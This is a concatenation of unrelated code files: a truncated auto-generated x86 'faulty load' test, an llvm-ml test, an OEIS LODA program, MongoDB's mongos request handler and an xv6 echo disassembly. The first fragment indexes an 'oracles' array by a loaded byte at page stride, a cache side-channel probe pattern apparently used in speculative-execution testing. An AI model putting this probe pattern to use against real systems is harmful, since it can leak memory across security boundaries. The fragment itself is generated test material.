lea addresses_UC+0x9450, %rbx
nop
nop
add $774, %r14
movups (%rbx), %xmm6
vpextrq $1, %xmm6, %r9
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
; RUN: llvm-ml -filetype=s %s /Fo - | FileCheck %s
.code
t1:
mov eax, \
ebx
; CHECK: t1:
; CHECK-NEXT: mov eax, ebx
t2:
mov eax, [ebx + \
1]
; CHECK: t2:
; CHECK-NEXT: mov eax, dword ptr [ebx + 1]
END
|
; A269658: Number of length-5 0..n arrays with no adjacent pair x,x+1 repeated.
; 1,26,225,988,3065,7686,16681,32600,58833,99730,160721,248436,370825,537278,758745,1047856,1419041,1888650,2475073,3198860,4082841,5152246,6434825,7960968,9763825,11879426,14346801,17208100,20508713,24297390,28626361,33551456,39132225,45432058,52518305,60462396,69339961,79230950,90219753,102395320,115851281,130686066,147003025,164910548,184522185,205956766,229338521,254797200,282468193,312492650,345017601,380196076,418187225,459156438,503275465,550722536,601682481,656346850,714914033,777589380,844585321,916121486,992424825,1073729728,1160278145,1252319706,1350111841,1453919900,1564017273,1680685510,1804214441,1934902296,2073055825,2218990418,2373030225,2535508276,2706766601,2887156350,3077037913,3276781040,3486764961,3707378506,3939020225,4182098508,4437031705,4704248246,4984186761,5277296200,5584035953,5904875970,6240296881,6590790116,6956858025,7339013998,7737782585,8153699616,8587312321,9039179450,9509871393,9999970300
mov $2,$0
add $0,1
lpb $0
mov $4,$0
pow $0,2
mov $1,$0
sub $4,1
mul $4,$0
add $0,$4
mul $1,$0
sub $0,1
mov $3,$0
mov $0,$6
sub $1,$3
lpe
mov $5,$2
mul $5,$2
mul $5,$2
add $1,$5
mov $0,$1
|
/**
* Copyright (C) 2016 MongoDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#define MONGO_LOG_DEFAULT_COMPONENT ::mongo::logger::LogComponent::kNetwork
#include "mongo/platform/basic.h"
#include "mongo/s/service_entry_point_mongos.h"
#include "mongo/db/auth/authorization_session.h"
#include "mongo/db/commands.h"
#include "mongo/db/dbmessage.h"
#include "mongo/db/lasterror.h"
#include "mongo/db/operation_context.h"
#include "mongo/db/service_context.h"
#include "mongo/s/client/shard_connection.h"
#include "mongo/s/cluster_last_error_info.h"
#include "mongo/s/commands/strategy.h"
#include "mongo/util/log.h"
#include "mongo/util/net/message.h"
#include "mongo/util/scopeguard.h"
namespace mongo {
namespace {
BSONObj buildErrReply(const DBException& ex) {
BSONObjBuilder errB;
errB.append("$err", ex.what());
errB.append("code", ex.getCode());
if (!ex._shard.empty()) {
errB.append("shard", ex._shard);
}
return errB.obj();
}
} // namespace
DbResponse ServiceEntryPointMongos::handleRequest(OperationContext* opCtx, const Message& message) {
// Release any cached egress connections for client back to pool before destroying
auto guard = MakeGuard(ShardConnection::releaseMyConnections);
const int32_t msgId = message.header().getId();
const NetworkOp op = message.operation();
// This exception will not be returned to the caller, but will be logged and will close the
// connection
uassert(ErrorCodes::IllegalOperation,
str::stream() << "Message type " << op << " is not supported.",
isSupportedNetworkOp(op) && op != dbCommand && op != dbCommandReply);
// Start a new LastError session. Any exceptions thrown from here onwards will be returned
// to the caller (if the type of the message permits it).
auto client = opCtx->getClient();
if (!ClusterLastErrorInfo::get(client)) {
ClusterLastErrorInfo::get(client) = std::make_shared<ClusterLastErrorInfo>();
}
ClusterLastErrorInfo::get(client)->newRequest();
LastError::get(client).startRequest();
DbMessage dbm(message);
NamespaceString nss;
DbResponse dbResponse;
try {
if (dbm.messageShouldHaveNs()) {
nss = NamespaceString(StringData(dbm.getns()));
uassert(ErrorCodes::InvalidNamespace,
str::stream() << "Invalid ns [" << nss.ns() << "]",
nss.isValid());
uassert(ErrorCodes::IllegalOperation,
"Can't use 'local' database through mongos",
nss.db() != NamespaceString::kLocalDb);
}
AuthorizationSession::get(opCtx->getClient())->startRequest(opCtx);
LOG(3) << "Request::process begin ns: " << nss << " msg id: " << msgId
<< " op: " << networkOpToString(op);
switch (op) {
case dbMsg:
dbResponse = Strategy::clientOpMsgCommand(opCtx, message);
break;
case dbQuery:
if (nss.isCommand()) {
try {
dbResponse = Strategy::clientOpQueryCommand(opCtx, nss, &dbm);
} catch (const DBException& ex) {
BSONObjBuilder bob;
Command::appendCommandStatus(bob, ex.toStatus());
dbResponse = replyToQuery(bob.done());
}
} else {
dbResponse = Strategy::queryOp(opCtx, nss, &dbm);
}
break;
case dbGetMore:
dbResponse = Strategy::getMore(opCtx, nss, &dbm);
break;
case dbKillCursors:
Strategy::killCursors(opCtx, &dbm); // No Response.
break;
default:
Strategy::writeOp(opCtx, &dbm); // No Response.
break;
}
LOG(3) << "Request::process end ns: " << nss << " msg id: " << msgId
<< " op: " << networkOpToString(op);
} catch (const DBException& ex) {
LOG(1) << "Exception thrown while processing " << networkOpToString(op) << " op for "
<< nss.ns() << causedBy(ex);
if (op == dbQuery || op == dbGetMore) {
dbResponse = replyToQuery(buildErrReply(ex), ResultFlag_ErrSet);
} else {
// No Response.
}
// We *always* populate the last error for now
LastError::get(opCtx->getClient()).setLastError(ex.getCode(), ex.what());
}
return dbResponse;
}
} // namespace mongo
|
_echo: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 83 ec 08 sub $0x8,%esp
14: 8b 31 mov (%ecx),%esi
16: 8b 79 04 mov 0x4(%ecx),%edi
int i;
for(i = 1; i < argc; i++)
19: 83 fe 01 cmp $0x1,%esi
1c: 7e 41 jle 5f <main+0x5f>
1e: bb 01 00 00 00 mov $0x1,%ebx
23: eb 1b jmp 40 <main+0x40>
25: 8d 76 00 lea 0x0(%esi),%esi
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
28: 68 40 07 00 00 push $0x740
2d: ff 74 9f fc pushl -0x4(%edi,%ebx,4)
31: 68 42 07 00 00 push $0x742
36: 6a 01 push $0x1
38: e8 e3 03 00 00 call 420 <printf>
3d: 83 c4 10 add $0x10,%esp
40: 83 c3 01 add $0x1,%ebx
43: 39 de cmp %ebx,%esi
45: 75 e1 jne 28 <main+0x28>
47: 68 47 07 00 00 push $0x747
4c: ff 74 b7 fc pushl -0x4(%edi,%esi,4)
50: 68 42 07 00 00 push $0x742
55: 6a 01 push $0x1
57: e8 c4 03 00 00 call 420 <printf>
5c: 83 c4 10 add $0x10,%esp
exit();
5f: e8 5e 02 00 00 call 2c2 <exit>
64: 66 90 xchg %ax,%ax
66: 66 90 xchg %ax,%ax
68: 66 90 xchg %ax,%ax
6a: 66 90 xchg %ax,%ax
6c: 66 90 xchg %ax,%ax
6e: 66 90 xchg %ax,%ax
00000070 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
70: 55 push %ebp
71: 89 e5 mov %esp,%ebp
73: 53 push %ebx
74: 8b 45 08 mov 0x8(%ebp),%eax
77: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
7a: 89 c2 mov %eax,%edx
7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80: 83 c1 01 add $0x1,%ecx
83: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
87: 83 c2 01 add $0x1,%edx
8a: 84 db test %bl,%bl
8c: 88 5a ff mov %bl,-0x1(%edx)
8f: 75 ef jne 80 <strcpy+0x10>
;
return os;
}
91: 5b pop %ebx
92: 5d pop %ebp
93: c3 ret
94: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
9a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 53 push %ebx
a4: 8b 55 08 mov 0x8(%ebp),%edx
a7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
aa: 0f b6 02 movzbl (%edx),%eax
ad: 0f b6 19 movzbl (%ecx),%ebx
b0: 84 c0 test %al,%al
b2: 75 1c jne d0 <strcmp+0x30>
b4: eb 2a jmp e0 <strcmp+0x40>
b6: 8d 76 00 lea 0x0(%esi),%esi
b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
c0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
c3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
c6: 83 c1 01 add $0x1,%ecx
c9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
cc: 84 c0 test %al,%al
ce: 74 10 je e0 <strcmp+0x40>
d0: 38 d8 cmp %bl,%al
d2: 74 ec je c0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
d4: 29 d8 sub %ebx,%eax
}
d6: 5b pop %ebx
d7: 5d pop %ebp
d8: c3 ret
d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
e0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
e2: 29 d8 sub %ebx,%eax
}
e4: 5b pop %ebx
e5: 5d pop %ebp
e6: c3 ret
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000f0 <strlen>:
uint
strlen(char *s)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
f6: 80 39 00 cmpb $0x0,(%ecx)
f9: 74 15 je 110 <strlen+0x20>
fb: 31 d2 xor %edx,%edx
fd: 8d 76 00 lea 0x0(%esi),%esi
100: 83 c2 01 add $0x1,%edx
103: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
107: 89 d0 mov %edx,%eax
109: 75 f5 jne 100 <strlen+0x10>
;
return n;
}
10b: 5d pop %ebp
10c: c3 ret
10d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
110: 31 c0 xor %eax,%eax
}
112: 5d pop %ebp
113: c3 ret
114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
11a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000120 <memset>:
void*
memset(void *dst, int c, uint n)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 57 push %edi
124: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
127: 8b 4d 10 mov 0x10(%ebp),%ecx
12a: 8b 45 0c mov 0xc(%ebp),%eax
12d: 89 d7 mov %edx,%edi
12f: fc cld
130: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
132: 89 d0 mov %edx,%eax
134: 5f pop %edi
135: 5d pop %ebp
136: c3 ret
137: 89 f6 mov %esi,%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000140 <strchr>:
char*
strchr(const char *s, char c)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 53 push %ebx
144: 8b 45 08 mov 0x8(%ebp),%eax
147: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
14a: 0f b6 10 movzbl (%eax),%edx
14d: 84 d2 test %dl,%dl
14f: 74 1d je 16e <strchr+0x2e>
if(*s == c)
151: 38 d3 cmp %dl,%bl
153: 89 d9 mov %ebx,%ecx
155: 75 0d jne 164 <strchr+0x24>
157: eb 17 jmp 170 <strchr+0x30>
159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
160: 38 ca cmp %cl,%dl
162: 74 0c je 170 <strchr+0x30>
for(; *s; s++)
164: 83 c0 01 add $0x1,%eax
167: 0f b6 10 movzbl (%eax),%edx
16a: 84 d2 test %dl,%dl
16c: 75 f2 jne 160 <strchr+0x20>
return (char*)s;
return 0;
16e: 31 c0 xor %eax,%eax
}
170: 5b pop %ebx
171: 5d pop %ebp
172: c3 ret
173: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000180 <gets>:
char*
gets(char *buf, int max)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 57 push %edi
184: 56 push %esi
185: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
186: 31 f6 xor %esi,%esi
188: 89 f3 mov %esi,%ebx
{
18a: 83 ec 1c sub $0x1c,%esp
18d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
190: eb 2f jmp 1c1 <gets+0x41>
192: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
198: 8d 45 e7 lea -0x19(%ebp),%eax
19b: 83 ec 04 sub $0x4,%esp
19e: 6a 01 push $0x1
1a0: 50 push %eax
1a1: 6a 00 push $0x0
1a3: e8 32 01 00 00 call 2da <read>
if(cc < 1)
1a8: 83 c4 10 add $0x10,%esp
1ab: 85 c0 test %eax,%eax
1ad: 7e 1c jle 1cb <gets+0x4b>
break;
buf[i++] = c;
1af: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1b3: 83 c7 01 add $0x1,%edi
1b6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1b9: 3c 0a cmp $0xa,%al
1bb: 74 23 je 1e0 <gets+0x60>
1bd: 3c 0d cmp $0xd,%al
1bf: 74 1f je 1e0 <gets+0x60>
for(i=0; i+1 < max; ){
1c1: 83 c3 01 add $0x1,%ebx
1c4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1c7: 89 fe mov %edi,%esi
1c9: 7c cd jl 198 <gets+0x18>
1cb: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1cd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1d0: c6 03 00 movb $0x0,(%ebx)
}
1d3: 8d 65 f4 lea -0xc(%ebp),%esp
1d6: 5b pop %ebx
1d7: 5e pop %esi
1d8: 5f pop %edi
1d9: 5d pop %ebp
1da: c3 ret
1db: 90 nop
1dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1e0: 8b 75 08 mov 0x8(%ebp),%esi
1e3: 8b 45 08 mov 0x8(%ebp),%eax
1e6: 01 de add %ebx,%esi
1e8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1ea: c6 03 00 movb $0x0,(%ebx)
}
1ed: 8d 65 f4 lea -0xc(%ebp),%esp
1f0: 5b pop %ebx
1f1: 5e pop %esi
1f2: 5f pop %edi
1f3: 5d pop %ebp
1f4: c3 ret
1f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000200 <stat>:
int
stat(char *n, struct stat *st)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 56 push %esi
204: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
205: 83 ec 08 sub $0x8,%esp
208: 6a 00 push $0x0
20a: ff 75 08 pushl 0x8(%ebp)
20d: e8 f0 00 00 00 call 302 <open>
if(fd < 0)
212: 83 c4 10 add $0x10,%esp
215: 85 c0 test %eax,%eax
217: 78 27 js 240 <stat+0x40>
return -1;
r = fstat(fd, st);
219: 83 ec 08 sub $0x8,%esp
21c: ff 75 0c pushl 0xc(%ebp)
21f: 89 c3 mov %eax,%ebx
221: 50 push %eax
222: e8 f3 00 00 00 call 31a <fstat>
close(fd);
227: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
22a: 89 c6 mov %eax,%esi
close(fd);
22c: e8 b9 00 00 00 call 2ea <close>
return r;
231: 83 c4 10 add $0x10,%esp
}
234: 8d 65 f8 lea -0x8(%ebp),%esp
237: 89 f0 mov %esi,%eax
239: 5b pop %ebx
23a: 5e pop %esi
23b: 5d pop %ebp
23c: c3 ret
23d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
240: be ff ff ff ff mov $0xffffffff,%esi
245: eb ed jmp 234 <stat+0x34>
247: 89 f6 mov %esi,%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000250 <atoi>:
int
atoi(const char *s)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 53 push %ebx
254: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
257: 0f be 11 movsbl (%ecx),%edx
25a: 8d 42 d0 lea -0x30(%edx),%eax
25d: 3c 09 cmp $0x9,%al
n = 0;
25f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
264: 77 1f ja 285 <atoi+0x35>
266: 8d 76 00 lea 0x0(%esi),%esi
269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
270: 8d 04 80 lea (%eax,%eax,4),%eax
273: 83 c1 01 add $0x1,%ecx
276: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
27a: 0f be 11 movsbl (%ecx),%edx
27d: 8d 5a d0 lea -0x30(%edx),%ebx
280: 80 fb 09 cmp $0x9,%bl
283: 76 eb jbe 270 <atoi+0x20>
return n;
}
285: 5b pop %ebx
286: 5d pop %ebp
287: c3 ret
288: 90 nop
289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000290 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
290: 55 push %ebp
291: 89 e5 mov %esp,%ebp
293: 56 push %esi
294: 53 push %ebx
295: 8b 5d 10 mov 0x10(%ebp),%ebx
298: 8b 45 08 mov 0x8(%ebp),%eax
29b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
29e: 85 db test %ebx,%ebx
2a0: 7e 14 jle 2b6 <memmove+0x26>
2a2: 31 d2 xor %edx,%edx
2a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
2a8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
2ac: 88 0c 10 mov %cl,(%eax,%edx,1)
2af: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2b2: 39 d3 cmp %edx,%ebx
2b4: 75 f2 jne 2a8 <memmove+0x18>
return vdst;
}
2b6: 5b pop %ebx
2b7: 5e pop %esi
2b8: 5d pop %ebp
2b9: c3 ret
000002ba <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ba: b8 01 00 00 00 mov $0x1,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <exit>:
SYSCALL(exit)
2c2: b8 02 00 00 00 mov $0x2,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <wait>:
SYSCALL(wait)
2ca: b8 03 00 00 00 mov $0x3,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <pipe>:
SYSCALL(pipe)
2d2: b8 04 00 00 00 mov $0x4,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <read>:
SYSCALL(read)
2da: b8 05 00 00 00 mov $0x5,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <write>:
SYSCALL(write)
2e2: b8 10 00 00 00 mov $0x10,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <close>:
SYSCALL(close)
2ea: b8 15 00 00 00 mov $0x15,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <kill>:
SYSCALL(kill)
2f2: b8 06 00 00 00 mov $0x6,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <exec>:
SYSCALL(exec)
2fa: b8 07 00 00 00 mov $0x7,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <open>:
SYSCALL(open)
302: b8 0f 00 00 00 mov $0xf,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <mknod>:
SYSCALL(mknod)
30a: b8 11 00 00 00 mov $0x11,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <unlink>:
SYSCALL(unlink)
312: b8 12 00 00 00 mov $0x12,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <fstat>:
SYSCALL(fstat)
31a: b8 08 00 00 00 mov $0x8,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <link>:
SYSCALL(link)
322: b8 13 00 00 00 mov $0x13,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <mkdir>:
SYSCALL(mkdir)
32a: b8 14 00 00 00 mov $0x14,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <chdir>:
SYSCALL(chdir)
332: b8 09 00 00 00 mov $0x9,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <dup>:
SYSCALL(dup)
33a: b8 0a 00 00 00 mov $0xa,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <getpid>:
SYSCALL(getpid)
342: b8 0b 00 00 00 mov $0xb,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <sbrk>:
SYSCALL(sbrk)
34a: b8 0c 00 00 00 mov $0xc,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <sleep>:
SYSCALL(sleep)
352: b8 0d 00 00 00 mov $0xd,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <uptime>:
SYSCALL(uptime)
35a: b8 0e 00 00 00 mov $0xe,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <bstat>:
SYSCALL(bstat)
362: b8 16 00 00 00 mov $0x16,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <swap>:
SYSCALL(swap)
36a: b8 17 00 00 00 mov $0x17,%eax
36f: cd 40 int $0x40
371: c3 ret
372: 66 90 xchg %ax,%ax
374: 66 90 xchg %ax,%ax
